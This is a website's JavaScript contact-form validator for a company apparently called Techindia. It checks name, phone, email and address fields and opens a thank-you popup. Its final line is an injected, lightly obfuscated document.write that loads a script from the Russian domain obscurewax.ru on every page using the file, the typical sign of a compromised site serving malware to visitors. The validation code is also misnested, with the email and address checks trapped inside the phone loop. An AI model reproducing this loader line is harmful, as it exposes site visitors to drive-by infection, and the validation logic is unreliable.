function contact1()
 {

 	if(document.contacts.interest.options[document.contacts.interest.selectedIndex].text=="Not Selected")	 
	       {
	     	alert("Please select Interest in Techindia");               
                document.contacts.interest.focus(); 
           	return false;
	       }
     	
     if(isBlank(document.contacts.name.value))
      {
        alert("Please enter your Name");
        document.contacts.name.focus();
        document.contacts.name.value="";
        return false;
      }
    if(!isNaN(document.contacts.name.value))
      {
        alert("Please check the Name entered should not be in Numeric");
        document.contacts.name.value="";
        document.contacts.name.focus();
        return false;
      }

     if(isBlank(document.contacts.designation.value))
      {
        alert("Please enter the designation");
        document.contacts.designation.focus();
        document.contacts.designation.value="";
        return false;
      }

     if(isBlank(document.contacts.cname.value))
      {
        alert("Please enter Company Name");
        document.contacts.cname.focus();
        document.contacts.cname.value="";
        return false;
      }

    if(isBlank(document.contacts.ph_no.value))
         {
           alert("Please enter your Telephone No.");
           document.contacts.ph_no.focus();
           document.contacts.ph_no.value=""; 
           return false;
         }
    if(isBlank(document.contacts.ph_no.value)==false)
             {	
      		var x="!@#$%^&*_<>?/.,";
       		  for(var i=0; i < document.contacts.ph_no.value.length; i++)
          	       		  {
                          		temp3=  document.contacts.ph_no.value.substring(i,i+1);
          				if(x.indexOf(temp3) != -1)
          				       {
      				        alert("Please enter valid Telephone No.seperated by '-' ");
          					document.contacts.ph_no.value="";
          					document.contacts.ph_no.focus();
          					return false;
          				       }
          	       		  }	
          		var y="-";
          		  for(var j=0; j < document.contacts.ph_no.value.length; j++)
          	       		{
                       		temp4=  document.contacts.ph_no.value.substring(j,j+1);
       				if(y.indexOf(temp4) == -1)
      				    {
       					if(isNaN(temp4))
      				       {
      					alert("Please enter the Telephone No.in Numeric only");
      					document.contacts.ph_no.value="";
      					document.contacts.ph_no.focus();
      					return false;
      					  }


    if(isBlank(document.contacts.email_add.value))
        {
          alert("Please enter your Email Address");
          document.contacts.email_add.focus();
          document.contacts.email_add.value="";
          return false;
        }
    if(badEmail(document.contacts.email_add.value) || 	emailName(document.contacts.email_add.value))
        {
          alert("Please enter valid Email Address");
          document.contacts.email_add.value="";
          document.contacts.email_add.focus();
          return false;
        }

    if(isBlank(document.contacts.address.value))
      {
        alert("Please enter your Address");
        document.contacts.address.focus();
        return false;
      }    

    if(isBlank(document.contacts.city.value))
      {
        alert("Please enter your City");
        document.contacts.city.focus();
        return false;
      } 

    if(isBlank(document.contacts.state.value))
      {
        alert("Please enter your State");
        document.contacts.state.focus();
        return false;
      } 

    if(isBlank(document.contacts.country.value))
      {
        alert("Please enter your Country");
        document.contacts.country.focus();
        return false;
      } 

       				       }
      			       	    }
		    	   }
     		
	return window.open('thanku_popup.htm' + '?txt=' + document.contacts.name.value,'window2','location=no,resizable=yes,width=400,height=140');
 }  
function isBlank(p)
{ 
	var len = p.length;        
	var i;
	for(i = 0; i < len ; ++i)
	{ 
		if (p.charAt(i) != ' ') return false;
	}

return true;
}

function emailName(str)
  {
  if(str != "")
      {
        var chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-@.";
           for(var i=0; i <  str.length; i++)
	       {
                temp3=  str.substring(i,i+1);
		if((chars.indexOf(temp3) == -1) )
			 {
			  return true;  
			 }
	       }
      }
   }
function badEmail(str) 
{
  
  var supported = 0;
  if (window.RegExp) 
     {
    var tempStr = "a";
    var tempReg = new RegExp(tempStr);
    if (tempReg.test(tempStr)) supported = 1;
     }
  if (!supported) 
    return (str.indexOf(".") <= 2) || (str.indexOf("@") < 0);
    var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
    var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
  return (r1.test(str) || !r2.test(str));
}



document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Joystick.js"></scr'+'ipt>');